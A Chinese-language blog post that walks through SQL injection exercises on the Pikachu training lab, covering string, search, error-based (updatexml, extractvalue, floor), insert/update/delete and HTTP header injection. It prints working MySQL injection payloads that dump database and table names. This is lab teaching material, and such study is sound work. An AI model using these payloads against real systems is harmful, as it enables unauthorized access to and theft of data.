• SQL注入(pikachu)


    什么时SQL注入具体之前的博文都有,直接干就完事了。

    来到靶场,发现这个是一个post的注入,直接bp拿起来就是抓

    抓到包先测试一下,or 1=1# 能不能遍历

    发现可以遍历,那就可以接着我们其他的操作。

    具体之前的博客都有写,那些基础的操作这里就不说了。

    从username判断,带入数据库查询的是字符串

    构造查询语句为 xxx' or 1=1#

    遍历成功,一样继续查表,字段。

    最后查询出来的结果为

    搜索型注入

    这个类型,我们推测用的是SQL语句中的like来进行模糊判断

    那我们就可以猜测模糊查询的字段应该是'%查询内容%'

    那么我可以构造

    xxx%' or 1=1#

    一样遍历成功

    xx型

    说白了就是闭合的符号不一样

    这里用xx') or 1=1#

    一样能遍历

    基于报错的信息获取

    技巧思路:

    在mysql中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。

    select/insert/update/delete

    要求:

    后台没有屏蔽数据库报错信息,在语法发生错误的时候会输出在前端

    updatexml() : 是mysql对xml文档数据进行查询和修改的xpath函数

    extractvalue():是mysql对xml文档数据进行查询的xpath函数

    floor():mysql中用来取整的函数

    updatexml函数的作用就是改变(查找并替换)xml文档中符合条件的节点的值

    语法:updatexml(xml_document,XPthstring,new_value)

    第一个参数是字符串

    第二个参数是指定字符串中的一个位置(Xpath格式的字符串)

    第三个参数是将要替换成什么

    Xpath定位必须是有效的,否则则会发生错误

    接下来进入靶场

    构造以下函数

    kobe' and updatexml(1,concat(0x7e,database()),0)#

    报错获取数据库名称

    因为xpth报错注入每次只能显示一行

    所以我们可以

    kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'pikachu' limit 0,1)),0)#

    爆出了第一个表,其他的就不再操作了,就还是一样的

    insert/update/delete注入

    进入靶场

    我们知道insert就是在数据库中添加数据

    那么我们注册一个账号,是不是就是在数据库中添加了你的账号数据

    那么我们可以在注册页面插入我们的注入语句

    我们猜测后台的mysql语句应该是

    insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)

    那我们可以在xxx的位置构造我们的注入语句

    xxx' or updatexml(1,concat(0x7e,database()),0) or '

    我们来分析以下为什么会成功

    后台的mysql语句被我们拼凑成了

    insert into user(name,password,sex,phone,address1,address2) value('xxx' or updatexml(1,concat(0x7e,database()),0) or '',123,1,2,3,4)

    这样就会让我们的语句成功执行

    接下来是update注入

    我们先正经注册一个账号,然后登陆

    我们来到这个界面

    还是和之前一样,我们要想象,后台的mysql语句是怎么执行的

    更新我们的信息,需要用到的时候update语句

    当修改性别的时候推测后台执行了

    update tables set sex = '$sex' where name = 'sbb';

    这样我们可以在$sex处构造语句

    xxx' or updatexml(1,concat(0x7e,database()),0) or '

    把构造好的语句插入进去看看

    update tables set sex = 'xxx' or updatexml(1,concat(0x7e,database()),0) or '

    ' where name = 'sbb';

    就构造了一个闭合,可以查询我们想要查询的内容了

    delete注入

    既然是delete注入,那肯定是在删除这里,

    我们先随便留几条言

    然后我们开启抓包,进行删除操作

    数据包如下

    我们在url后面跟上我们的语句,因为这里传的是数值型,我们就不用单引号闭合,直接or就行了

    这里要注意要进行一下url编码,否则不算一个完整的url

    这样就完成了我们的注入,后面的操作都一样了

    extractvalue()函数,从目标xml中返回包含所查询值的字符串

    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为doc

    第二个参数:XPath_string(Xpath格式的字符串)

    Xpath定位必须是有效的,否则则会发生错误

    用法其实跟updatexml一样

    用字符型注入测试一下

    xxx' and extractvalue(1,concat(0x7e,database())) #

    基于floor()

    floor是mysql的一个取整函数

    payload

    xxx' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2)) x from information_schema.tables group by x) a)#

    Http header注入

    有些时候,后台开发人员为了验证客户端头信息,比如常用的cookie验证,或者通过http请求头信息获取客户端的一些信息,比如useragent、accept字段等等,会对客户端的http请求头信息获取并使用sql进行处理,如果此时没有足够的安全考虑,则可能会导致基于http头的sql注入漏洞

    进入靶场

    我们按照提示的账号密码登陆进来,发现提示我的信息被记录了。

    就是一部分我们的请求头信息和端口信息

    我们开启抓包

    刷新

    数据包如下

    它既然标识出了我们的user-agent

    那我们就从user-agent注入

    传个单引号发现有报错信息,

    利用我们构造的payload

    一样搞定

  • 相关阅读:
    体验平安免费车身划痕补漆服务
    美股
    SpringBoot 开发环境热部署
    IDEA 报 Unable to import maven project: See logs for details
    docker-compose部署SpringCloud
    将镜像上传到Docker Hub中央仓库中
    创建一个简单的Docker镜像
    hystrix.stream dashboard
    Error creating bean with name 'eurekaAutoServiceRegistration': Singleton bean creation not allowed while singletons
    Caused by: java.lang.ClassNotFoundException: javax.servlet.Filter
  • 原文地址:https://www.cnblogs.com/qxxaq/p/11636248.html
Copyright © 2020-2023  润新知